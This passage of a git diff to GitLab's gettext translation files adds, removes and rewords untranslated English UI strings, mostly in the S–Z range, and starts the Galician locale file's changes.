msgid "Show all activity"
msgstr ""
@@ -24860,9 +25474,6 @@ msgstr ""
msgid "Show all members"
msgstr ""
-msgid "Show all requirements."
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -24899,19 +25510,25 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show labels"
+msgstr ""
+
msgid "Show latest version"
msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24940,6 +25557,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -25092,6 +25712,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -25203,9 +25826,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -25215,6 +25835,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Something went wrong"
+msgstr ""
+
msgid "Something went wrong on our end"
msgstr ""
@@ -25251,7 +25874,10 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the epic. Please try again later."
+msgstr ""
+
+msgid "Something went wrong while closing the merge request. Please try again later."
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25338,7 +25964,10 @@ msgstr ""
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the epic. Please try again later."
+msgstr ""
+
+msgid "Something went wrong while reopening the merge request. Please try again later."
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25377,7 +26006,7 @@ msgstr ""
msgid "Something went wrong, unable to search projects"
msgstr ""
-msgid "Something went wrong."
+msgid "Something went wrong. Please try again later"
msgstr ""
msgid "Something went wrong. Please try again."
@@ -25794,9 +26423,15 @@ msgstr ""
msgid "Starts %{startsIn}"
msgstr ""
+msgid "Starts at %{startsAt}"
+msgstr ""
+
msgid "Starts at (UTC)"
msgstr ""
+msgid "Starts on"
+msgstr ""
+
msgid "State your message to activate"
msgstr ""
@@ -25821,6 +26456,9 @@ msgstr ""
msgid "StaticSiteEditor|An error occurred while submitting your changes."
msgstr ""
+msgid "StaticSiteEditor|Automatic formatting changes"
+msgstr ""
+
msgid "StaticSiteEditor|Branch could not be created."
msgstr ""
@@ -25839,6 +26477,9 @@ msgstr ""
msgid "StaticSiteEditor|Incompatible file content"
msgstr ""
+msgid "StaticSiteEditor|Markdown formatting preferences introduced by the Static Site Editor"
+msgstr ""
+
msgid "StaticSiteEditor|Return to site"
msgstr ""
@@ -25926,6 +26567,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -26064,6 +26717,9 @@ msgstr ""
msgid "Subscription successfully deleted."
msgstr ""
+msgid "SubscriptionTable|Add seats"
+msgstr ""
+
msgid "SubscriptionTable|An error occurred while loading billable members list"
msgstr ""
@@ -26094,6 +26750,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -26103,6 +26762,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -26499,9 +27161,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26563,9 +27222,24 @@ msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|Actions"
+msgstr ""
+
msgid "Terraform|An error occurred while loading your Terraform States"
msgstr ""
+msgid "Terraform|Are you sure you want to remove the Terraform State %{name}?"
+msgstr ""
+
+msgid "Terraform|Cancel"
+msgstr ""
+
+msgid "Terraform|Details"
+msgstr ""
+
+msgid "Terraform|Download JSON"
+msgstr ""
+
msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
msgstr ""
@@ -26575,12 +27249,30 @@ msgstr ""
msgid "Terraform|Get started with Terraform"
msgstr ""
+msgid "Terraform|Job status"
+msgstr ""
+
+msgid "Terraform|Lock"
+msgstr ""
+
msgid "Terraform|Locked"
msgstr ""
msgid "Terraform|Locked by %{user} %{timeAgo}"
msgstr ""
+msgid "Terraform|Name"
+msgstr ""
+
+msgid "Terraform|Pipeline"
+msgstr ""
+
+msgid "Terraform|Remove"
+msgstr ""
+
+msgid "Terraform|Remove state file and versions"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
@@ -26593,9 +27285,18 @@ msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|To remove the State file and its versions, type %{name} to confirm:"
+msgstr ""
+
msgid "Terraform|Unknown User"
msgstr ""
+msgid "Terraform|Unlock"
+msgstr ""
+
+msgid "Terraform|You are about to remove the State file %{name}. This will permanently delete all the State versions and history. The infrastructure provisioned previously\twill remain intact, only the state file with all its versions are to be removed. This action is non-revertible."
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26742,9 +27443,6 @@ msgstr ""
msgid "Thanks for your purchase!"
msgstr ""
-msgid "Thanks! Don't show me this again"
-msgstr ""
-
msgid "That's it, well done!"
msgstr ""
@@ -26757,6 +27455,9 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
+msgid "The %{plan_name} is no longer available to purchase. For more information about how this will impact you, check our %{faq_link_start}frequently asked questions%{faq_link_end}."
+msgstr ""
+
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
@@ -26768,6 +27469,9 @@ msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
msgstr ""
+msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -26780,9 +27484,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26792,6 +27493,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -26834,6 +27538,9 @@ msgstr ""
msgid "The current issue"
msgstr ""
+msgid "The current user is not authorized to access the job log."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -26861,9 +27568,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26905,6 +27609,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26956,9 +27663,6 @@ msgstr ""
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
-msgid "The license for Deploy Board is required to use this feature."
-msgstr ""
-
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26977,9 +27681,6 @@ msgstr ""
msgid "The maximum file size allowed is %{size}."
msgstr ""
-msgid "The maximum file size allowed is 200KB."
-msgstr ""
-
msgid "The merge conflicts for this merge request cannot be resolved through GitLab. Please try to resolve them locally."
msgstr ""
@@ -27004,6 +27705,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -27127,7 +27831,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -27139,9 +27843,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -27343,6 +28044,9 @@ msgstr ""
msgid "There was an error fetching median data for stages"
msgstr ""
+msgid "There was an error fetching projects"
+msgstr ""
+
msgid "There was an error fetching the %{replicableType}"
msgstr ""
@@ -27421,6 +28125,9 @@ msgstr ""
msgid "There was an error updating the Geo Settings"
msgstr ""
+msgid "There was an error updating the Maintenance Mode Settings"
+msgstr ""
+
msgid "There was an error updating the dashboard, branch name is invalid."
msgstr ""
@@ -27502,6 +28209,9 @@ msgstr ""
msgid "This GitLab instance is licensed at the %{insufficient_license} tier. Geo is only available for users who have at least a Premium license."
msgstr ""
+msgid "This GitLab instance is undergoing maintenance and is operating in read-only mode."
+msgstr ""
+
msgid "This Project is currently archived and read-only. Please unarchive the project first if you want to resume Pull mirroring"
msgstr ""
@@ -27565,9 +28275,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27577,9 +28284,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27697,9 +28401,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27808,6 +28509,9 @@ msgstr ""
msgid "This merge request does not have accessibility reports"
msgstr ""
+msgid "This merge request does not have codequality reports"
+msgstr ""
+
msgid "This merge request is closed. To apply this suggestion, edit this file directly."
msgstr ""
@@ -27913,6 +28617,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27958,6 +28665,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27976,12 +28686,30 @@ msgstr ""
msgid "ThreatMonitoring|Container NetworkPolicies not detected"
msgstr ""
+msgid "ThreatMonitoring|Date and time"
+msgstr ""
+
+msgid "ThreatMonitoring|Dismissed"
+msgstr ""
+
msgid "ThreatMonitoring|Dropped Packets"
msgstr ""
msgid "ThreatMonitoring|Environment"
msgstr ""
+msgid "ThreatMonitoring|In review"
+msgstr ""
+
+msgid "ThreatMonitoring|Name"
+msgstr ""
+
+msgid "ThreatMonitoring|No alerts available to display. See %{linkStart}enabling threat alerts%{linkEnd} for more information on adding alerts to the list."
+msgstr ""
+
+msgid "ThreatMonitoring|No alerts to display."
+msgstr ""
+
msgid "ThreatMonitoring|No environments detected"
msgstr ""
@@ -27997,6 +28725,9 @@ msgstr ""
msgid "ThreatMonitoring|Requests"
msgstr ""
+msgid "ThreatMonitoring|Resolved"
+msgstr ""
+
msgid "ThreatMonitoring|Show last"
msgstr ""
@@ -28009,12 +28740,21 @@ msgstr ""
msgid "ThreatMonitoring|Statistics"
msgstr ""
+msgid "ThreatMonitoring|Status"
+msgstr ""
+
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
msgstr ""
+msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
+msgstr ""
+
+msgid "ThreatMonitoring|There was an error while updating the status of the alert. Please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Threat Monitoring"
msgstr ""
@@ -28033,6 +28773,9 @@ msgstr ""
msgid "ThreatMonitoring|Total Requests"
msgstr ""
+msgid "ThreatMonitoring|Unreviewed"
+msgstr ""
+
msgid "ThreatMonitoring|View documentation"
msgstr ""
@@ -28258,6 +29001,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -28274,6 +29020,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28640,6 +29389,9 @@ msgstr ""
msgid "Trials|Go back to GitLab"
msgstr ""
+msgid "Trials|Skip Trial"
+msgstr ""
+
msgid "Trials|Skip Trial (Continue with Free Account)"
msgstr ""
@@ -28853,6 +29605,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28919,7 +29674,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -29045,6 +29800,9 @@ msgstr ""
msgid "Unstar"
msgstr ""
+msgid "Unstarted"
+msgstr ""
+
msgid "Unsubscribe"
msgstr ""
@@ -29126,7 +29884,7 @@ msgstr ""
msgid "Update your group name, description, avatar, and visibility."
msgstr ""
-msgid "Update your project name, topics, description and avatar."
+msgid "Update your project name, topics, description, and avatar."
msgstr ""
msgid "UpdateProject|Cannot rename project because it contains container registry tags!"
@@ -29183,15 +29941,9 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Issue boards."
-msgstr ""
-
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -29342,6 +30094,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29633,6 +30388,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29871,6 +30629,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -30024,9 +30785,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -30132,6 +30890,9 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual Response"
+msgstr ""
+
msgid "Vulnerability|Actual received response is the one received when this fault was detected"
msgstr ""
@@ -30186,6 +30947,9 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
+msgid "Vulnerability|Request"
+msgstr ""
+
msgid "Vulnerability|Request/Response"
msgstr ""
@@ -30204,6 +30968,9 @@ msgstr ""
msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
msgstr ""
+msgid "Vulnerability|Unmodified Response"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -30216,6 +30983,9 @@ msgstr ""
msgid "Want to see the data? Please ask an administrator for access."
msgstr ""
+msgid "Warning"
+msgstr ""
+
msgid "Warning:"
msgstr ""
@@ -30228,6 +30998,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30348,6 +31121,9 @@ msgstr ""
msgid "Webhooks|Job events"
msgstr ""
+msgid "Webhooks|Member events"
+msgstr ""
+
msgid "Webhooks|Merge request events"
msgstr ""
@@ -30384,6 +31160,9 @@ msgstr ""
msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
msgstr ""
+msgid "Webhooks|This URL will be triggered when a member is added to a group"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
msgstr ""
@@ -30459,12 +31238,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30500,7 +31285,7 @@ msgstr ""
msgid "While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you please double check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "Who can be an approver?"
+msgid "Who can approve?"
msgstr ""
msgid "Who can see this group?"
@@ -30683,6 +31468,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30764,9 +31552,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30824,6 +31609,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30983,6 +31771,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -31106,9 +31897,18 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to update an on-call schedule for this project"
+msgstr ""
+
msgid "You have insufficient permissions to update this HTTP integration"
msgstr ""
@@ -31142,6 +31942,9 @@ msgstr ""
msgid "You must disassociate %{domain} from all clusters it is attached to before deletion."
msgstr ""
+msgid "You must have developer or higher permissions in the associated project to view job logs when debug trace is enabled. To disable debug trace, set the 'CI_DEBUG_TRACE' variable to 'false' in your pipeline configuration or CI/CD settings. If you need to view this job log, a project maintainer must add you to the project with developer permissions or higher."
+msgstr ""
+
msgid "You must have maintainer access to force delete a lock"
msgstr ""
@@ -31190,9 +31993,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -31235,10 +32035,7 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
@@ -31289,6 +32086,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31304,6 +32104,9 @@ msgstr ""
msgid "Your %{strong}%{plan_name}%{strong_close} subscription will expire on %{strong}%{expires_on}%{strong_close}. After that, you will not be able to create issues or merge requests as well as many other features."
msgstr ""
+msgid "Your CI configuration file is invalid."
+msgstr ""
+
msgid "Your CSV export has started. It will be emailed to %{email} when complete."
msgstr ""
@@ -31376,6 +32179,9 @@ msgstr ""
msgid "Your U2F device was registered!"
msgstr ""
+msgid "Your Version"
+msgstr ""
+
msgid "Your WebAuthn device did not send a valid JSON response."
msgstr ""
@@ -31451,6 +32257,9 @@ msgstr ""
msgid "Your device was successfully set up! Give it a name and register it with the GitLab server."
msgstr ""
+msgid "Your file must contain a column named %{codeStart}title%{codeEnd}. A %{codeStart}description%{codeEnd} column is optional. The maximum file size allowed is 10 MB."
+msgstr ""
+
msgid "Your first project"
msgstr ""
@@ -31472,6 +32281,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31520,6 +32332,15 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
+msgid "Your requirements will be imported in the background. Once it's finished, you'll get a confirmation email. "
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31618,6 +32439,9 @@ msgstr ""
msgid "assign yourself"
msgstr ""
+msgid "at"
+msgstr ""
+
msgid "at risk"
msgstr ""
@@ -31636,9 +32460,15 @@ msgstr ""
msgid "by"
msgstr ""
+msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
+msgid "cannot be changed"
+msgstr ""
+
msgid "cannot be changed if a personal project has container registry tags."
msgstr ""
@@ -31681,6 +32511,9 @@ msgstr ""
msgid "ciReport|%{improvedNum} improved"
msgstr ""
+msgid "ciReport|%{linkStartTag}Learn more about API Fuzzing%{linkEndTag}"
+msgstr ""
+
msgid "ciReport|%{linkStartTag}Learn more about Container Scanning %{linkEndTag}"
msgstr ""
@@ -31720,6 +32553,9 @@ msgstr ""
msgid "ciReport|API Fuzzing"
msgstr ""
+msgid "ciReport|API fuzzing"
+msgstr ""
+
msgid "ciReport|All projects"
msgstr ""
@@ -31876,6 +32712,9 @@ msgstr ""
msgid "ciReport|There was an error reverting the dismissal. Please try again."
msgstr ""
+msgid "ciReport|This report contains all Code Quality issues in the source branch."
+msgstr ""
+
msgid "ciReport|Used by %{packagesString}"
msgid_plural "ciReport|Used by %{packagesString}, and %{lastPackage}"
msgstr[0] ""
@@ -31908,9 +32747,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31926,9 +32762,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31967,9 +32800,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -32058,6 +32888,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -32108,7 +32941,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32266,6 +33099,9 @@ msgstr ""
msgid "math|There was an error rendering this math block"
msgstr ""
+msgid "member%{number}@company.com"
+msgstr ""
+
msgid "merge request"
msgid_plural "merge requests"
msgstr[0] ""
@@ -32637,6 +33473,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32664,6 +33503,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32676,6 +33518,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32753,6 +33598,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32878,9 +33726,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32920,9 +33765,6 @@ msgstr ""
msgid "tag name"
msgstr ""
-msgid "teammate%{number}@company.com"
-msgstr ""
-
msgid "the correct format."
msgstr ""
@@ -32935,6 +33777,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
diff --git a/locale/gl_ES/gitlab.po b/locale/gl_ES/gitlab.po
index 21f1573b2e1..e4c08ff3817 100644
--- a/locale/gl_ES/gitlab.po
+++ b/locale/gl_ES/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: gl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:40\n"
+"PO-Revision-Date: 2020-12-03 08:08\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
